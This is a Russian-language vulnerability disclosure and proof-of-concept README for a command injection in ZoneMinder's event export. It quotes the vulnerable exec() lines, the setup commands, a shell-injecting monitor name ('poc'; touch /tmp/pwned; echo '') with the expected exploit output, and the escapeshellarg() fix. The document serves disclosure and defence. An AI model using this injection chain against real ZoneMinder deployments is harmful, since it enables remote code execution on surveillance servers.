
CVE-2026-76060 PoC для уязвимости ZoneMinder, приводящей к RCE
Proof of concept для уязвимости внедрения OS-команд в функциональности экспорта событий ZoneMinder (web/includes/download_functions.php).
Имена мониторов подставляются напрямую в shell-команды с помощью ручного оборачивания в одинарные кавычки вместо escapeshellarg(). Злоумышленник, который может создать монитор, может внедрить произвольные shell-команды, выполняющиеся от имени www-data/того пользователя, под которым работает процесс, когда любой пользователь запускает экспорт событий.
44c5c3c от 4 октября 2023 года — именно здесь был представлен файл download_functions.php. Сообщение коммита: "Introduce new download mode that concats event videos into 1 file per monitor." Уязвимый код присутствует здесь, но для создания монитора требовался администратор.2d49e93 от 2 января 2024 года — "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." Здесь ситуация немного меняется. Теперь пользователь с правом только может задать имя монитора для атаки, а любой пользователь с правами на экспорт может её запустить.Monitors=CreateЗатронутые версии: >= 1.37.48 (здесь есть изменения SQL-миграций) и <= 1.38.1 Ветка 1.36.x не затронута.
Два пользователя. Два уровня привилегий. Одна оболочка.
Monitors=Create или Monitors=Edit, если монитор уже существует.Запись события не нужно создавать вручную. ZoneMinder — это система видеонаблюдения... она создаёт записи событий автоматически при работе камер. В реальном развёртывании этап настройки выглядит так: создать монитор и уйти.
Несанитизированное имя монитора попадает в два отдельных вызова exec():
Строка 126 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
Строка 150 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
Оба достижимы из одного тщательно сконструированного имени монитора независимо от формата экспорта.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# подождите, пока ZoneMinder завершит инициализацию (~30 секунд)
uv run poc.py
init.sql инициализирует базу данных с включённой аутентификацией и двумя пользователями:
medpriv с правами на создание мониторов (а также, для экономии времени, с правами на создание событий, но в продакшене это не обязательно)lowpriv только с доступом к экспорту событийuv run poc.py выполняет всю цепочку:
medpriv аутентифицируется через API и создаёт монитор с именем poc'; touch /tmp/pwned; echo 'medpriv создаёт запись события, чтобы ускорить демонстрацию (в продакшене ZoneMinder делает это автоматически)lowpriv аутентифицируется и запускает экспорт события/tmp/pwned внутри контейнера и выводит результатОжидаемый вывод:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
8.4 (High):AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H
Можно спорить о PR:L против PR:R, но в любом случае это уязвимость удалённого выполнения кода высокой степени серьёзности в широко используемом проекте с открытым исходным кодом. Поверхность атаки довольно широкая, а тот факт, что спусковой крючок может нажать другой пользователь, а не тот, кто задаёт имя монитора, добавляет интересный поворот в эксплуатацию. Если принять PR:L, оценка становится 9.0 (Critical).
В любом случае, как минимум escapeshellarg() ничего не стоит.
b3a7c05[!NOTE] Исправлено в течение 12 часов после сообщения. Никакого подтверждения от мейнтейнера, что это проблема безопасности. Я не согласен
Примените escapeshellarg() как минимум в обеих точках внедрения:
// Строка 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Строка 150
$command .= ' '.escapeshellarg($mergedFileName);
Строки 116 и 211 в generateFileList() имеют тот же паттерн.
Обнаружено (@investigato)
Полное описание: scriptkittens.com